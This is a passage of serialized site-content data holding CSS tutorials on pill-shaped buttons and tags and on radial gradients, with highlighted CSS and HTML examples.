2,72134,72136,72138,72140,72143,72145,72147,72149,72151,72153,72155,72157,72159,72161,72164,72166],{"class":1562,"line":343},[1560,72128,72129],{"class":1566},".pill-lg",[1560,72131,36449],{"class":1570},[1560,72133,41140],{"class":1576},[1560,72135,1663],{"class":1570},[1560,72137,12520],{"class":1576},[1560,72139,1670],{"class":1669},[1560,72141,72142],{"class":1576}," 36",[1560,72144,1670],{"class":1669},[1560,72146,3664],{"class":1570},[1560,72148,16947],{"class":1576},[1560,72150,1663],{"class":1570},[1560,72152,16895],{"class":1576},[1560,72154,1670],{"class":1669},[1560,72156,3664],{"class":1570},[1560,72158,72075],{"class":1576},[1560,72160,1663],{"class":1570},[1560,72162,72163],{"class":1576},"1.125",[1560,72165,32215],{"class":1669},[1560,72167,1673],{"class":1570},[33,72169,72171],{"id":72170},"outlined-pill","Outlined Pill",[135,72173,72175],{"className":1554,"code":72174,"language":1556,"meta":141,"style":141},".pill-outline {\n  padding: 10px 24px;\n  border-radius: 9999px;\n  border: 2px solid currentColor;\n  background: transparent;\n  color: #2563eb;\n}\n",[143,72176,72177,72184,72200,72212,72229,72239,72249],{"__ignoreMap":141},[1560,72178,72179,72182],{"class":1562,"line":1563},[1560,72180,72181],{"class":1566},".pill-outline",[1560,72183,1571],{"class":1570},[1560,72185,72186,72188,72190,72192,72194,72196,72198],{"class":1562,"line":337},[1560,72187,18186],{"class":1576},[1560,72189,1663],{"class":1570},[1560,72191,36197],{"class":1576},[1560,72193,1670],{"class":1669},[1560,72195,18193],{"class":1576},[1560,72197,1670],{"class":1669},[1560,72199,2228],{"class":1570},[1560,72201,72202,72204,72206,72208,72210],{"class":1562,"line":343},[1560,72203,17294],{"class":1576},[1560,72205,1663],{"class":1570},[1560,72207,16895],{"class":1576},[1560,72209,1670],{"class":1669},[1560,72211,2228],{"class":1570},[1560,72213,72214,72216,72218,72220,72222,72224,72227],{"class":1562,"line":365},[1560,72215,3580],{"class":1576},[1560,72217,1663],{"class":1570},[1560,72219,10099],{"class":1576},[1560,72221,1670],{"class":1669},[1560,72223,3590],{"class":1576},[1560,72225,72226],{"class":1576}," currentColor",[1560,72228,2228],{"class":1570},[1560,72230,72231,72233,72235,72237],{"class":1562,"line":889},[1560,72232,5665],{"class":1576},[1560,72234,1663],{"class":1570},[1560,72236,47251],{"class":1576},[1560,72238,2228],{"class":1570},[1560,72240,72241,72243,72245,72247],{"class":1562,"line":1710},[1560,72242,2510],{"class":1576},[1560,72244,1663],{"class":1570},[1560,72246,4162],{"class":1576},[1560,72248,2228],{"class":1570},[1560,72250,72251],{"class":1562,"line":1717},[1560,72252,1585],{"class":1570},[135,72254,72256],{"className":6417,"code":72255,"language":6419,"meta":141,"style":141},"\u003Cbutton class=\"pill-outline\">Learn More\u003C\u002Fbutton>\n",[143,72257,72258],{"__ignoreMap":141},[1560,72259,72260,72262,72264,72266,72268,72271,72274,72276],{"class":1562,"line":1563},[1560,72261,6431],{"class":1570},[1560,72263,12250],{"class":2484},[1560,72265,11423],{"class":1566},[1560,72267,7297],{"class":1570},[1560,72269,72270],{"class":5634},"\"pill-outline\"",[1560,72272,72273],{"class":1570},">Learn More\u003C\u002F",[1560,72275,12250],{"class":2484},[1560,72277,6441],{"class":1570},[33,72279,72281],{"id":72280},"icon-text-pill","Icon + Text Pill",[16,72283,72284],{},"When adding icons, adjust the horizontal padding to keep visual balance:",[135,72286,72288],{"className":6417,"code":72287,"language":6419,"meta":141,"style":141},"\u003Cbutton class=\"px-6 py-3 rounded-full bg-green-600 text-white inline-flex items-center gap-2\">\n  \u003Csvg class=\"w-4 h-4\" fill=\"none\" stroke=\"currentColor\" viewBox=\"0 0 24 24\">\n    \u003Cpath stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M12 4v16m8-8H4\"\u002F>\n  \u003C\u002Fsvg>\n  Add Item\n\u003C\u002Fbutton>\n",[143,72289,72290,72305,72338,72376,72384,72389],{"__ignoreMap":141},[1560,72291,72292,72294,72296,72298,72300,72303],{"class":1562,"line":1563},[1560,72293,6431],{"class":1570},[1560,72295,12250],{"class":2484},[1560,72297,11423],{"class":1566},[1560,72299,7297],{"class":1570},[1560,72301,72302],{"class":5634},"\"px-6 py-3 rounded-full bg-green-600 text-white inline-flex items-center gap-2\"",[1560,72304,6441],{"class":1570},[1560,72306,72307,72309,72311,72313,72315,72318,72320,72322,72324,72326,72328,72330,72332,72334,72336],{"class":1562,"line":337},[1560,72308,11223],{"class":1570},[1560,72310,11192],{"class":2484},[1560,72312,11423],{"class":1566},[1560,72314,7297],{"class":1570},[1560,72316,72317],{"class":5634},"\"w-4 h-4\"",[1560,72319,11203],{"class":1566},[1560,72321,7297],{"class":1570},[1560,72323,11208],{"class":5634},[1560,72325,11211],{"class":1566},[1560,72327,7297],{"class":1570},[1560,72329,11216],{"class":5634},[1560,72331,11195],{"class":1566},[1560,72333,7297],{"class":1570},[1560,72335,11200],{"class":5634},[1560,72337,6441],{"class":1570},[1560,72339,72340,72342,72344,72347,72349,72352,72355,72357,72359,72362,72364,72367,72369,72371,72374],{"class":1562,"line":343},[1560,72341,12292],{"class":1570},[1560,72343,11226],{"class":2484},[1560,72345,72346],{"class":1566}," stroke-linecap",[1560,72348,7297],{"class":1570},[1560,72350,72351],{"class":5634},"\"round\"",[1560,72353,72354],{"class":1566}," stroke-linejoin",[1560,72356,7297],{"class":1570},[1560,72358,72351],{"class":5634},[1560,72360,72361],{"class":1566}," stroke-width",[1560,72363,7297],{"class":1570},[1560,72365,72366],{"class":5634},"\"2\"",[1560,72368,11229],{"class":1566},[1560,72370,7297],{"class":1570},[1560,72372,72373],{"class":5634},"\"M12 4v16m8-8H4\"",[1560,72375,11237],{"class":1570},[1560,72377,72378,72380,72382],{"class":1562,"line":365},[1560,72379,12331],{"class":1570},[1560,72381,11192],{"class":2484},[1560,72383,6441],{"class":1570},[1560,72385,72386],{"class":1562,"line":889},[1560,72387,72388],{"class":1570},"  Add Item\n",[1560,72390,72391,72393,72395],{"class":1562,"line":1710},[1560,72392,11242],{"class":1570},[1560,72394,12250],{"class":2484},[1560,72396,6441],{"class":1570},[33,72398,72400],{"id":72399},"pilled-tags-and-badges","Pilled Tags and Badges",[16,72402,72403],{},"Pill shapes work great for tags, status badges, and chip components:",[135,72405,72407],{"className":1554,"code":72406,"language":1556,"meta":141,"style":141},".tag {\n  display: inline-flex;\n  align-items: center;\n  padding: 4px 12px;\n  border-radius: 9999px;\n  font-size: 0.75rem;\n  font-weight: 500;\n}\n\n.tag-blue    { background: #dbeafe; color: #1d4ed8; }\n.tag-green   { background: #dcfce7; color: #15803d; }\n.tag-red     { background: #fee2e2; color: #b91c1c; }\n",[143,72408,72409,72415,72425,72435,72451,72463,72476,72487,72491,72495,72518,72542],{"__ignoreMap":141},[1560,72410,72411,72413],{"class":1562,"line":1563},[1560,72412,33359],{"class":1566},[1560,72414,1571],{"class":1570},[1560,72416,72417,72419,72421,72423],{"class":1562,"line":337},[1560,72418,12504],{"class":1576},[1560,72420,1663],{"class":1570},[1560,72422,58145],{"class":1576},[1560,72424,2228],{"class":1570},[1560,72426,72427,72429,72431,72433],{"class":1562,"line":343},[1560,72428,32194],{"class":1576},[1560,72430,1663],{"class":1570},[1560,72432,32199],{"class":1576},[1560,72434,2228],{"class":1570},[1560,72436,72437,72439,72441,72443,72445,72447,72449],{"class":1562,"line":365},[1560,72438,18186],{"class":1576},[1560,72440,1663],{"class":1570},[1560,72442,12546],{"class":1576},[1560,72444,1670],{"class":1669},[1560,72446,19321],{"class":1576},[1560,72448,1670],{"class":1669},[1560,72450,2228],{"class":1570},[1560,72452,72453,72455,72457,72459,72461],{"class":1562,"line":889},[1560,72454,17294],{"class":1576},[1560,72456,1663],{"class":1570},[1560,72458,16895],{"class":1576},[1560,72460,1670],{"class":1669},[1560,72462,2228],{"class":1570},[1560,72464,72465,72467,72469,72472,72474],{"class":1562,"line":1710},[1560,72466,33414],{"class":1576},[1560,72468,1663],{"class":1570},[1560,72470,72471],{"class":1576},"0.75",[1560,72473,32215],{"class":1669},[1560,72475,2228],{"class":1570},[1560,72477,72478,72480,72482,72485],{"class":1562,"line":1717},[1560,72479,52332],{"class":1576},[1560,72481,1663],{"class":1570},[1560,72483,72484],{"class":1576},"500",[1560,72486,2228],{"class":1570},[1560,72488,72489],{"class":1562,"line":1747},[1560,72490,1585],{"class":1570},[1560,72492,72493],{"class":1562,"line":2507},[1560,72494,1702],{"emptyLinePlaceholder":363},[1560,72496,72497,72500,72502,72504,72506,72508,72510,72512,72514,72516],{"class":1562,"line":2524},[1560,72498,72499],{"class":1566},".tag-blue",[1560,72501,44815],{"class":1570},[1560,72503,11362],{"class":1576},[1560,72505,1663],{"class":1570},[1560,72507,4177],{"class":1576},[1560,72509,3664],{"class":1570},[1560,72511,12607],{"class":1576},[1560,72513,1663],{"class":1570},[1560,72515,4292],{"class":1576},[1560,72517,1673],{"class":1570},[1560,72519,72520,72523,72525,72527,72529,72532,72534,72536,72538,72540],{"class":1562,"line":2529},[1560,72521,72522],{"class":1566},".tag-green",[1560,72524,16964],{"class":1570},[1560,72526,11362],{"class":1576},[1560,72528,1663],{"class":1570},[1560,72530,72531],{"class":1576},"#dcfce7",[1560,72533,3664],{"class":1570},[1560,72535,12607],{"class":1576},[1560,72537,1663],{"class":1570},[1560,72539,4250],{"class":1576},[1560,72541,1673],{"class":1570},[1560,72543,72544,72547,72549,72551,72553,72556,72558,72560,72562,72565],{"class":1562,"line":2534},[1560,72545,72546],{"class":1566},".tag-red",[1560,72548,59135],{"class":1570},[1560,72550,11362],{"class":1576},[1560,72552,1663],{"class":1570},[1560,72554,72555],{"class":1576},"#fee2e2",[1560,72557,3664],{"class":1570},[1560,72559,12607],{"class":1576},[1560,72561,1663],{"class":1570},[1560,72563,72564],{"class":1576},"#b91c1c",[1560,72566,1673],{"class":1570},[11,72568,72570],{"id":72569},"hover-and-active-states","Hover and Active States",[16,72572,72573],{},"Pill buttons feel tactile — lean into that with smooth interactions:",[135,72575,72577],{"className":1554,"code":72576,"language":1556,"meta":141,"style":141},".pill-button {\n  padding: 10px 24px;\n  border-radius: 9999px;\n  background: #2563eb;\n  color: white;\n  border: none;\n  transition: transform 0.15s ease, box-shadow 0.15s ease;\n}\n\n.pill-button:hover {\n  transform: translateY(-1px);\n  box-shadow: 0 4px 12px rgba(37, 99, 235, 0.3);\n}\n\n.pill-button:active {\n  transform: translateY(0);\n  box-shadow: none;\n}\n",[143,72578,72579,72585,72601,72613,72623,72633,72643,72666,72670,72674,72681,72697,72735,72739,72743,72750,72764,72774],{"__ignoreMap":141},[1560,72580,72581,72583],{"class":1562,"line":1563},[1560,72582,71850],{"class":1566},[1560,72584,1571],{"class":1570},[1560,72586,72587,72589,72591,72593,72595,72597,72599],{"class":1562,"line":337},[1560,72588,18186],{"class":1576},[1560,72590,1663],{"class":1570},[1560,72592,36197],{"class":1576},[1560,72594,1670],{"class":1669},[1560,72596,18193],{"class":1576},[1560,72598,1670],{"class":1669},[1560,72600,2228],{"class":1570},[1560,72602,72603,72605,72607,72609,72611],{"class":1562,"line":343},[1560,72604,17294],{"class":1576},[1560,72606,1663],{"class":1570},[1560,72608,16895],{"class":1576},[1560,72610,1670],{"class":1669},[1560,72612,2228],{"class":1570},[1560,72614,72615,72617,72619,72621],{"class":1562,"line":365},[1560,72616,5665],{"class":1576},[1560,72618,1663],{"class":1570},[1560,72620,4162],{"class":1576},[1560,72622,2228],{"class":1570},[1560,72624,72625,72627,72629,72631],{"class":1562,"line":889},[1560,72626,2510],{"class":1576},[1560,72628,1663],{"class":1570},[1560,72630,2565],{"class":1576},[1560,72632,2228],{"class":1570},[1560,72634,72635,72637,72639,72641],{"class":1562,"line":1710},[1560,72636,3580],{"class":1576},[1560,72638,1663],{"class":1570},[1560,72640,24609],{"class":1576},[1560,72642,2228],{"class":1570},[1560,72644,72645,72647,72649,72651,72653,72655,72658,72660,72662,72664],{"class":1562,"line":1717},[1560,72646,18718],{"class":1576},[1560,72648,19594],{"class":1570},[1560,72650,19693],{"class":1576},[1560,72652,18727],{"class":1669},[1560,72654,18730],{"class":1576},[1560,72656,72657],{"class":1570},", box-shadow ",[1560,72659,19693],{"class":1576},[1560,72661,18727],{"class":1669},[1560,72663,18730],{"class":1576},[1560,72665,2228],{"class":1570},[1560,72667,72668],{"class":1562,"line":1747},[1560,72669,1585],{"class":1570},[1560,72671,72672],{"class":1562,"line":2507},[1560,72673,1702],{"emptyLinePlaceholder":363},[1560,72675,72676,72679],{"class":1562,"line":2524},[1560,72677,72678],{"class":1566},".pill-button:hover",[1560,72680,1571],{"class":1570},[1560,72682,72683,72685,72687,72689,72691,72693,72695],{"class":1562,"line":2529},[1560,72684,1720],{"class":1576},[1560,72686,1663],{"class":1570},[1560,72688,18845],{"class":1576},[1560,72690,1688],{"class":1570},[1560,72692,19059],{"class":1576},[1560,72694,1670],{"class":1669},[1560,72696,1744],{"class":1570},[1560,72698,72699,72701,72703,72705,72707,72709,72711,72713,72715,72717,72720,72722,72724,72726,72729,72731,72733],{"class":1562,"line":2534},[1560,72700,18679],{"class":1576},[1560,72702,1663],{"class":1570},[1560,72704,5285],{"class":1576},[1560,72706,13574],{"class":1576},[1560,72708,1670],{"class":1669},[1560,72710,19321],{"class":1576},[1560,72712,1670],{"class":1669},[1560,72714,18694],{"class":1576},[1560,72716,1688],{"class":1570},[1560,72718,72719],{"class":1576},"37",[1560,72721,1459],{"class":1570},[1560,72723,5334],{"class":1576},[1560,72725,1459],{"class":1570},[1560,72727,72728],{"class":1576},"235",[1560,72730,1459],{"class":1570},[1560,72732,18724],{"class":1576},[1560,72734,1744],{"class":1570},[1560,72736,72737],{"class":1562,"line":2542},[1560,72738,1585],{"class":1570},[1560,72740,72741],{"class":1562,"line":2558},[1560,72742,1702],{"emptyLinePlaceholder":363},[1560,72744,72745,72748],{"class":1562,"line":2570},[1560,72746,72747],{"class":1566},".pill-button:active",[1560,72749,1571],{"class":1570},[1560,72751,72752,72754,72756,72758,72760,72762],{"class":1562,"line":6638},[1560,72753,1720],{"class":1576},[1560,72755,1663],{"class":1570},[1560,72757,18845],{"class":1576},[1560,72759,1688],{"class":1570},[1560,72761,5285],{"class":1576},[1560,72763,1744],{"class":1570},[1560,72765,72766,72768,72770,72772],{"class":1562,"line":11615},[1560,72767,18679],{"class":1576},[1560,72769,1663],{"class":1570},[1560,72771,24609],{"class":1576},[1560,72773,2228],{"class":1570},[1560,72775,72776],{"class":1562,"line":11621},[1560,72777,1585],{"class":1570},[16,72779,72780],{},"For dark mode, adjust the hover shadow and background:",[135,72782,72784],{"className":1554,"code":72783,"language":1556,"meta":141,"style":141},".dark .pill-button {\n  background: #3b82f6;\n}\n\n.dark .pill-button:hover {\n  box-shadow: 0 4px 12px rgba(59, 130, 246, 0.25);\n}\n",[143,72785,72786,72795,72805,72809,72813,72822,72858],{"__ignoreMap":141},[1560,72787,72788,72790,72793],{"class":1562,"line":1563},[1560,72789,4355],{"class":1566},[1560,72791,72792],{"class":1566}," .pill-button",[1560,72794,1571],{"class":1570},[1560,72796,72797,72799,72801,72803],{"class":1562,"line":337},[1560,72798,5665],{"class":1576},[1560,72800,1663],{"class":1570},[1560,72802,4147],{"class":1576},[1560,72804,2228],{"class":1570},[1560,72806,72807],{"class":1562,"line":343},[1560,72808,1585],{"class":1570},[1560,72810,72811],{"class":1562,"line":365},[1560,72812,1702],{"emptyLinePlaceholder":363},[1560,72814,72815,72817,72820],{"class":1562,"line":889},[1560,72816,4355],{"class":1566},[1560,72818,72819],{"class":1566}," .pill-button:hover",[1560,72821,1571],{"class":1570},[1560,72823,72824,72826,72828,72830,72832,72834,72836,72838,72840,72842,72844,72846,72848,72850,72852,72854,72856],{"class":1562,"line":1710},[1560,72825,18679],{"class":1576},[1560,72827,1663],{"class":1570},[1560,72829,5285],{"class":1576},[1560,72831,13574],{"class":1576},[1560,72833,1670],{"class":1669},[1560,72835,19321],{"class":1576},[1560,72837,1670],{"class":1669},[1560,72839,18694],{"class":1576},[1560,72841,1688],{"class":1570},[1560,72843,19995],{"class":1576},[1560,72845,1459],{"class":1570},[1560,72847,20000],{"class":1576},[1560,72849,1459],{"class":1570},[1560,72851,20005],{"class":1576},[1560,72853,1459],{"class":1570},[1560,72855,20057],{"class":1576},[1560,72857,1744],{"class":1570},[1560,72859,72860],{"class":1562,"line":1717},[1560,72861,1585],{"class":1570},[11,72863,10393],{"id":10392},[41,72865,72866,72872,72878],{},[44,72867,72868,72871],{},[47,72869,72870],{},"Text too short",": A pill button with very short text (like \"OK\") looks like a circle, not a pill. Ensure horizontal padding is generous enough to maintain the capsule shape.",[44,72873,72874,72877],{},[47,72875,72876],{},"Inconsistent sizing",": When pill buttons sit next to regular buttons, their height must match visually. Adjust padding until the content area heights align.",[44,72879,72880,72883,72884,72886],{},[47,72881,72882],{},"Wrapping text",": Pill buttons with multi-line text break the capsule shape. Use ",[143,72885,33453],{}," to prevent wrapping.",[11,72888,321],{"id":320},[41,72890,72891,72895,72899],{},[44,72892,72893],{},[98,72894,17655],{"href":17654},[44,72896,72897],{},[98,72898,18598],{"href":18597},[44,72900,72901],{},[98,72902,18605],{"href":18604},[11,72904,286],{"id":285},[16,72906,72907],{},"Design pill buttons interactively — adjust border-radius, padding, colors, and hover effects with our visual border-radius tool.",[16,72909,4531,72910],{},[98,72911,72912],{"href":17643},[47,72913,17644],{},[2043,72915,65824],{},{"title":141,"searchDepth":337,"depth":337,"links":72917},[72918,72919,72923,72929,72930,72931,72932],{"id":71823,"depth":337,"text":71824},{"id":71833,"depth":337,"text":71834,"children":72920},[72921,72922],{"id":71925,"depth":343,"text":71926},{"id":71972,"depth":343,"text":71973},{"id":72031,"depth":337,"text":72032,"children":72924},[72925,72926,72927,72928],{"id":72035,"depth":343,"text":72036},{"id":72170,"depth":343,"text":72171},{"id":72280,"depth":343,"text":72281},{"id":72399,"depth":343,"text":72400},{"id":72569,"depth":337,"text":72570},{"id":10392,"depth":337,"text":10393},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"How to use border-radius to create fully-rounded pill buttons and capsules in CSS.",{"immutable":363},"\u002Fguides\u002Fcss-pill-buttons-guide",{"title":71818,"description":72933},"guides\u002Fcss-pill-buttons-guide","bNW-BCF0SFp3dCYoBpO-xDevyeMg2PRJDOPj6kAT9gU",{"id":72940,"title":72941,"body":72942,"date":2070,"description":73919,"extension":361,"meta":73920,"navigation":363,"path":73921,"readingTime":1717,"seo":73922,"stem":73923,"__hash__":73924},"guides\u002Fguides\u002Fcss-radial-gradients-tutorial.md","CSS Radial Gradients Tutorial: From Basic to Advanced",{"type":8,"value":72943,"toc":73901},[72944,72948,72951,72954,72956,73028,73037,73041,73079,73168,73170,73175,73291,73294,73298,73301,73349,73400,73403,73455,73459,73462,73553,73556,73558,73562,73640,73644,73722,73726,73801,73805,73811,73813,73839,73841,73874,73876,73890,73892,73898],[11,72945,72947],{"id":72946},"what-are-radial-gradients","What Are Radial Gradients?",[16,72949,72950],{},"Radial gradients transition colors outward from a central point, creating circular or elliptical color blends. Unlike linear gradients that move along a straight axis, radial gradients radiate in all directions — perfect for spotlights, vignettes, and focal-point effects.",[16,72952,72953],{},"The browser draws a radial gradient by defining a center point, a shape, and a size, then distributing color stops from the center outward.",[11,72955,60969],{"id":60968},[135,72957,72959],{"className":1554,"code":72958,"language":1556,"meta":141,"style":141},"\u002F* Simplest form — two colors, centered, ellipse *\u002F\nbackground: radial-gradient(#3B82F6, #1E3A5F);\n\n\u002F* Explicit circle *\u002F\nbackground: radial-gradient(circle, #3B82F6, #1E3A5F);\n\n\u002F* Circle with custom center *\u002F\nbackground: radial-gradient(circle at 75% 25%, #3B82F6, #1E3A5F);\n",[143,72960,72961,72966,72978,72982,72987,73003,73007,73012],{"__ignoreMap":141},[1560,72962,72963],{"class":1562,"line":1563},[1560,72964,72965],{"class":1649},"\u002F* Simplest form — two colors, centered, ellipse *\u002F\n",[1560,72967,72968,72970,72972,72974,72976],{"class":1562,"line":337},[1560,72969,59910],{"class":1570},[1560,72971,2260],{"class":5159},[1560,72973,1459],{"class":1570},[1560,72975,59917],{"class":5159},[1560,72977,1744],{"class":1570},[1560,72979,72980],{"class":1562,"line":343},[1560,72981,1702],{"emptyLinePlaceholder":363},[1560,72983,72984],{"class":1562,"line":365},[1560,72985,72986],{"class":1649},"\u002F* Explicit circle *\u002F\n",[1560,72988,72989,72991,72993,72995,72997,72999,73001],{"class":1562,"line":889},[1560,72990,59910],{"class":1570},[1560,72992,12295],{"class":2484},[1560,72994,1459],{"class":1570},[1560,72996,2260],{"class":5159},[1560,72998,1459],{"class":1570},[1560,73000,59917],{"class":5159},[1560,73002,1744],{"class":1570},[1560,73004,73005],{"class":1562,"line":1710},[1560,73006,1702],{"emptyLinePlaceholder":363},[1560,73008,73009],{"class":1562,"line":1717},[1560,73010,73011],{"class":1649},"\u002F* Circle with custom center *\u002F\n",[1560,73013,73014,73016,73018,73020,73022,73024,73026],{"class":1562,"line":1747},[1560,73015,59910],{"class":1570},[1560,73017,12295],{"class":2484},[1560,73019,60077],{"class":1570},[1560,73021,2260],{"class":5159},[1560,73023,1459],{"class":1570},[1560,73025,59917],{"class":5159},[1560,73027,1744],{"class":1570},[16,73029,73030,73031,73033,73034,73036],{},"If you omit the shape, the gradient defaults to ",[143,73032,18073],{},", which stretches to fill the container. Use ",[143,73035,12295],{}," when you want uniform radius regardless of container proportions.",[11,73038,73040],{"id":73039},"shape-circle-vs-ellipse","Shape: Circle vs. Ellipse",[193,73042,73043,73053],{},[196,73044,73045],{},[199,73046,73047,73049,73051],{},[202,73048,36766],{},[202,73050,17960],{},[202,73052,489],{},[211,73054,73055,73067],{},[199,73056,73057,73061,73064],{},[216,73058,73059],{},[143,73060,12295],{},[216,73062,73063],{},"Uniform radius in all directions",[216,73065,73066],{},"Spotlights, orbs, icons",[199,73068,73069,73073,73076],{},[216,73070,73071],{},[143,73072,18073],{},[216,73074,73075],{},"Stretches to match container aspect ratio",[216,73077,73078],{},"Backgrounds, hero sections",[135,73080,73082],{"className":1554,"code":73081,"language":1556,"meta":141,"style":141},"\u002F* Circle — stays round even in wide containers *\u002F\n.card-icon {\n  background: radial-gradient(circle, #8B5CF6, #4C1D95);\n}\n\n\u002F* Ellipse — fills the full container naturally *\u002F\n.hero {\n  background: radial-gradient(ellipse at center, #1E293B, #0F172A);\n}\n",[143,73083,73084,73089,73096,73119,73123,73127,73132,73138,73164],{"__ignoreMap":141},[1560,73085,73086],{"class":1562,"line":1563},[1560,73087,73088],{"class":1649},"\u002F* Circle — stays round even in wide containers *\u002F\n",[1560,73090,73091,73094],{"class":1562,"line":337},[1560,73092,73093],{"class":1566},".card-icon",[1560,73095,1571],{"class":1570},[1560,73097,73098,73100,73102,73104,73106,73108,73110,73112,73114,73117],{"class":1562,"line":343},[1560,73099,5665],{"class":1576},[1560,73101,1663],{"class":1570},[1560,73103,60869],{"class":1576},[1560,73105,1688],{"class":1570},[1560,73107,12295],{"class":1576},[1560,73109,1459],{"class":1570},[1560,73111,55458],{"class":1576},[1560,73113,1459],{"class":1570},[1560,73115,73116],{"class":1576},"#4C1D95",[1560,73118,1744],{"class":1570},[1560,73120,73121],{"class":1562,"line":365},[1560,73122,1585],{"class":1570},[1560,73124,73125],{"class":1562,"line":889},[1560,73126,1702],{"emptyLinePlaceholder":363},[1560,73128,73129],{"class":1562,"line":1710},[1560,73130,73131],{"class":1649},"\u002F* Ellipse — fills the full container naturally *\u002F\n",[1560,73133,73134,73136],{"class":1562,"line":1717},[1560,73135,32789],{"class":1566},[1560,73137,1571],{"class":1570},[1560,73139,73140,73142,73144,73146,73148,73150,73152,73154,73156,73158,73160,73162],{"class":1562,"line":1747},[1560,73141,5665],{"class":1576},[1560,73143,1663],{"class":1570},[1560,73145,60869],{"class":1576},[1560,73147,1688],{"class":1570},[1560,73149,18073],{"class":1576},[1560,73151,47218],{"class":1669},[1560,73153,52055],{"class":1576},[1560,73155,1459],{"class":1570},[1560,73157,2315],{"class":1576},[1560,73159,1459],{"class":1570},[1560,73161,2299],{"class":1576},[1560,73163,1744],{"class":1570},[1560,73165,73166],{"class":1562,"line":2507},[1560,73167,1585],{"class":1570},[11,73169,60057],{"id":60056},[16,73171,73172,73173,60063],{},"Control where the gradient originates using the ",[143,73174,52885],{},[135,73176,73178],{"className":1554,"code":73177,"language":1556,"meta":141,"style":141},"\u002F* Keyword positions *\u002F\nbackground: radial-gradient(circle at top left, #3B82F6, #1E3A5F);\nbackground: radial-gradient(circle at center, #3B82F6, #1E3A5F);\nbackground: radial-gradient(circle at bottom right, #3B82F6, #1E3A5F);\n\n\u002F* Percentage positions *\u002F\nbackground: radial-gradient(circle at 20% 80%, #3B82F6, #1E3A5F);\n\n\u002F* Pixel positions *\u002F\nbackground: radial-gradient(circle at 100px 200px, #3B82F6, #1E3A5F);\n",[143,73179,73180,73185,73201,73222,73239,73243,73248,73265,73269,73274],{"__ignoreMap":141},[1560,73181,73182],{"class":1562,"line":1563},[1560,73183,73184],{"class":1649},"\u002F* Keyword positions *\u002F\n",[1560,73186,73187,73189,73191,73193,73195,73197,73199],{"class":1562,"line":337},[1560,73188,59910],{"class":1570},[1560,73190,12295],{"class":2484},[1560,73192,59937],{"class":1570},[1560,73194,2260],{"class":5159},[1560,73196,1459],{"class":1570},[1560,73198,59917],{"class":5159},[1560,73200,1744],{"class":1570},[1560,73202,73203,73205,73207,73210,73212,73214,73216,73218,73220],{"class":1562,"line":343},[1560,73204,59910],{"class":1570},[1560,73206,12295],{"class":2484},[1560,73208,73209],{"class":1570}," at ",[1560,73211,32199],{"class":2484},[1560,73213,1459],{"class":1570},[1560,73215,2260],{"class":5159},[1560,73217,1459],{"class":1570},[1560,73219,59917],{"class":5159},[1560,73221,1744],{"class":1570},[1560,73223,73224,73226,73228,73231,73233,73235,73237],{"class":1562,"line":365},[1560,73225,59910],{"class":1570},[1560,73227,12295],{"class":2484},[1560,73229,73230],{"class":1570}," at bottom right, ",[1560,73232,2260],{"class":5159},[1560,73234,1459],{"class":1570},[1560,73236,59917],{"class":5159},[1560,73238,1744],{"class":1570},[1560,73240,73241],{"class":1562,"line":889},[1560,73242,1702],{"emptyLinePlaceholder":363},[1560,73244,73245],{"class":1562,"line":1710},[1560,73246,73247],{"class":1649},"\u002F* Percentage positions *\u002F\n",[1560,73249,73250,73252,73254,73257,73259,73261,73263],{"class":1562,"line":1717},[1560,73251,59910],{"class":1570},[1560,73253,12295],{"class":2484},[1560,73255,73256],{"class":1570}," at 20% 80%, ",[1560,73258,2260],{"class":5159},[1560,73260,1459],{"class":1570},[1560,73262,59917],{"class":5159},[1560,73264,1744],{"class":1570},[1560,73266,73267],{"class":1562,"line":1747},[1560,73268,1702],{"emptyLinePlaceholder":363},[1560,73270,73271],{"class":1562,"line":2507},[1560,73272,73273],{"class":1649},"\u002F* Pixel positions *\u002F\n",[1560,73275,73276,73278,73280,73283,73285,73287,73289],{"class":1562,"line":2524},[1560,73277,59910],{"class":1570},[1560,73279,12295],{"class":2484},[1560,73281,73282],{"class":1570}," at 100px 200px, ",[1560,73284,2260],{"class":5159},[1560,73286,1459],{"class":1570},[1560,73288,59917],{"class":5159},[1560,73290,1744],{"class":1570},[16,73292,73293],{},"For hero sections, positioning the gradient off-center creates dynamic, asymmetric light effects that feel more natural than a dead-center glow.",[11,73295,73297],{"id":73296},"sizing-the-gradient","Sizing the Gradient",[16,73299,73300],{},"Size keywords control how far the gradient extends:",[193,73302,73303,73311],{},[196,73304,73305],{},[199,73306,73307,73309],{},[202,73308,59759],{},[202,73310,207],{},[211,73312,73313,73322,73331,73340],{},[199,73314,73315,73319],{},[216,73316,73317],{},[143,73318,60012],{},[216,73320,73321],{},"Stops at the nearest edge",[199,73323,73324,73328],{},[216,73325,73326],{},[143,73327,60042],{},[216,73329,73330],{},"Extends to the farthest edge",[199,73332,73333,73337],{},[216,73334,73335],{},[143,73336,60032],{},[216,73338,73339],{},"Stops at the nearest corner",[199,73341,73342,73346],{},[216,73343,73344],{},[143,73345,60022],{},[216,73347,73348],{},"Extends to the farthest corner (default)",[135,73350,73352],{"className":1554,"code":73351,"language":1556,"meta":141,"style":141},"\u002F* Compact glow — stops at nearest edge *\u002F\nbackground: radial-gradient(circle closest-side at 30% 50%, #3B82F6, transparent);\n\n\u002F* Wide spread — reaches farthest corner *\u002F\nbackground: radial-gradient(circle farthest-corner at 30% 50%, #3B82F6, transparent);\n",[143,73353,73354,73359,73376,73380,73385],{"__ignoreMap":141},[1560,73355,73356],{"class":1562,"line":1563},[1560,73357,73358],{"class":1649},"\u002F* Compact glow — stops at nearest edge *\u002F\n",[1560,73360,73361,73363,73365,73368,73371,73373],{"class":1562,"line":337},[1560,73362,59910],{"class":1570},[1560,73364,12295],{"class":2484},[1560,73366,73367],{"class":2484}," closest-side",[1560,73369,73370],{"class":1570}," at 30% 50%, ",[1560,73372,2260],{"class":5159},[1560,73374,73375],{"class":1570},", transparent);\n",[1560,73377,73378],{"class":1562,"line":343},[1560,73379,1702],{"emptyLinePlaceholder":363},[1560,73381,73382],{"class":1562,"line":365},[1560,73383,73384],{"class":1649},"\u002F* Wide spread — reaches farthest corner *\u002F\n",[1560,73386,73387,73389,73391,73394,73396,73398],{"class":1562,"line":889},[1560,73388,59910],{"class":1570},[1560,73390,12295],{"class":2484},[1560,73392,73393],{"class":2484}," farthest-corner",[1560,73395,73370],{"class":1570},[1560,73397,2260],{"class":5159},[1560,73399,73375],{"class":1570},[16,73401,73402],{},"For explicit 